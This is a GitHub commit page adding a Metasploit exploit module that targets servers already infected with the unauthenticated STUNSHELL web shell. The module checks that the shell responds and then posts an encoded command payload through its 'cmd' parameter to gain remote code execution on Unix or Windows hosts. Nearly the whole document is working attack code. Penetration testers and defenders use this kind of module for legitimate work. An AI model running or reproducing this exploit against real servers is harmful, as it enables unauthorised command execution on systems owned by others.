Skip to content

Commit a7a5569

Browse files
author
jvazquez-r7
committed
Merge branch 'STUNSHELL_exec' of https://github.com/bwall/metasploit-framework into bwall-STUNSHELL_exec
2 parents 79a72a1 + f14d5ba commit a7a5569

File tree

1 file changed

+96
-0
lines changed

1 file changed

+96
-0
lines changed
Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = GreatRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => 'STUNSHELL Web Shell Remote Code Execution',
18+
'Description' => %q{
19+
This module exploits unauthenticated versions of the "STUNSHELL" web shell. This
20+
module works when safe mode is disabled on the web server. This shell is widely
21+
used in automated RFI payloads.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'bwall <bwall[at]openbwall.com>', # vuln discovery & msf module
27+
],
28+
'References' =>
29+
[
30+
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],
31+
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007']
32+
],
33+
'Privileged' => false,
34+
'Payload' =>
35+
{
36+
'Space' => 10000, # Value determined by web server's POST limits
37+
'BadChars' => '',
38+
'DisableNops' => true,
39+
'Compat' =>
40+
{
41+
'PayloadType' => 'cmd'
42+
}
43+
},
44+
'Platform' => ['unix', 'win'],
45+
'Arch' => ARCH_CMD,
46+
'Targets' =>
47+
[
48+
['stunshell / Unix', { 'Platform' => 'unix' } ],
49+
['stunshell / Windows', { 'Platform' => 'win' } ]
50+
],
51+
'DisclosureDate' => 'Mar 23 2013',
52+
'DefaultTarget' => 0))
53+
54+
register_options(
55+
[
56+
OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]),
57+
],self.class)
58+
end
59+
60+
def check
61+
uri = normalize_uri(datastore['URI'])
62+
request_parameters = {
63+
'method' => 'POST',
64+
'uri' => uri,
65+
'vars_post' =>
66+
{
67+
'cmd' => "echo 'andalas_oku test parameter'"
68+
}
69+
}
70+
shell = send_request_cgi(request_parameters)
71+
if (shell and shell.body =~ /andalas_oku test parameter/)
72+
return Exploit::CheckCode::Vulnerable
73+
end
74+
return Exploit::CheckCode::Safe
75+
end
76+
77+
def http_send_command(cmd)
78+
uri = normalize_uri(datastore['URI'])
79+
request_parameters = {
80+
'method' => 'POST',
81+
'uri' => uri,
82+
'vars_post' =>
83+
{
84+
'cmd' => cmd
85+
}
86+
}
87+
res = send_request_cgi(request_parameters)
88+
if not (res and res.code == 200)
89+
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
90+
end
91+
end
92+
93+
def exploit
94+
http_send_command(payload.encoded)
95+
end
96+
end

0 commit comments

Comments
 (0)